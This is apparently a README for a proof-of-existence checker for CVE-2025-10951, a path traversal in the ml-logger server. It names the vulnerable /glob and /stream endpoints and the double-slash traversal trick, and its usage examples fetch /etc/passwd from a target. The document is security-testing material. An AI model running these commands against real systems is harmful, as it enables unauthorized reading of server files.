## https://sploitus.com/exploit?id=4DB540B0-D39A-5BD2-AC89-7A706E8BB7F3
# CVE-2025-10951 - check_mllogger_traversal.py
Proof-of-existence checker for **CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6** β an
unauthenticated path traversal in [`geyang/ml-logger`](https://github.com/geyang/ml-logger)
(β€ 0.10.36), affecting the `log_handler` / `stream_handler` functions in
`ml_logger/server.py`.
For use only against systems you are authorized to test.
## What it checks
| Endpoint | Method | Purpose |
|---|---|---|
| `/glob` | `POST` | Confirms the server enumerates filesystem paths outside the app's intended scope |
| `/stream` | `GET` | Confirms arbitrary file read via a leading double-slash traversal trick (`//path/to/file`) |
By default the proof step only reads `/etc/hostname` β a single harmless
line, present on virtually every Linux host, never sensitive data.
## Requirements
```bash
pip install requests
```
## Usage
**Basic check:**
```bash
python3 check_mllogger_traversal.py http://TARGET:PORT
```
**Write results to JSON (for engagement documentation / evidence):**
```bash
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json
```
**Fetch a specific file you choose (only runs if vulnerability is confirmed):**
```bash
python3 check_mllogger_traversal.py http://TARGET:PORT \
--fetch /etc/passwd --output passwd.txt
```
**All together:**
```bash
python3 check_mllogger_traversal.py http://TARGET:PORT \
--json results.json --fetch /etc/passwd --output passwd.txt
```
## Options
| Flag | Description |
|---|---|
| `target` | Base URL, e.g. `http://192.xxx.x.xx:8081` |
| `--timeout` | Request timeout in seconds (default: 8.0) |
| `--json FILE` | Write structured results to a JSON file |
| `--fetch REMOTE_PATH` | Fetch a specific remote file you specify |
| `--output LOCAL_PATH` | Local filename for `--fetch` output (default: basename of remote path) |
## Exit codes
- `0` β vulnerability confirmed (fully or likely)
- `1` β not confirmed vulnerable / target unreachable
## Sample JSON output
```json
{
"target": "http://192.xxx.xxx.xxx:8081",
"timestamp": "2026-00-12T10:15:32.123456+00:00",
"cve": "CVE-2025-10951",
"glob_endpoint_confirmed": true,
"stream_endpoint_confirmed": true,
"vulnerable": true,
"likely_vulnerable": true,
"fetch": {
"remote_path": "/etc/passwd",
"local_path": "passwd.txt",
"success": true
}
}
```
## Notes
- `--fetch` will only run after the vulnerability check succeeds β it will
not attempt a fetch against an unconfirmed target.
- The script never selects a file to fetch on your behalf; you always
supply the exact remote path.
- The server has a known quirk where certain file-read failures corrupt
the HTTP chunked-transfer response mid-stream (a raw error page gets
written into the body instead of a clean error). The script catches
this and reports a failure rather than crashing.
## References
- [GHSA-8x9j-2p8r-7xc6](https://github.com/advisories/GHSA-8x9j-2p8r-7xc6)
- [geyang/ml-logger#74 β insecure file reading](https://github.com/geyang/ml-logger/issues/74)
- [geyang/ml-logger#73 β insecure file uploads](https://github.com/geyang/ml-logger/issues/73)
- [geyang/ml-logger#72 β deserialization RCE](https://github.com/geyang/ml-logger/issues/72)
- [NVD β CVE-2025-10951](https://nvd.nist.gov/vuln/detail/CVE-2025-10951)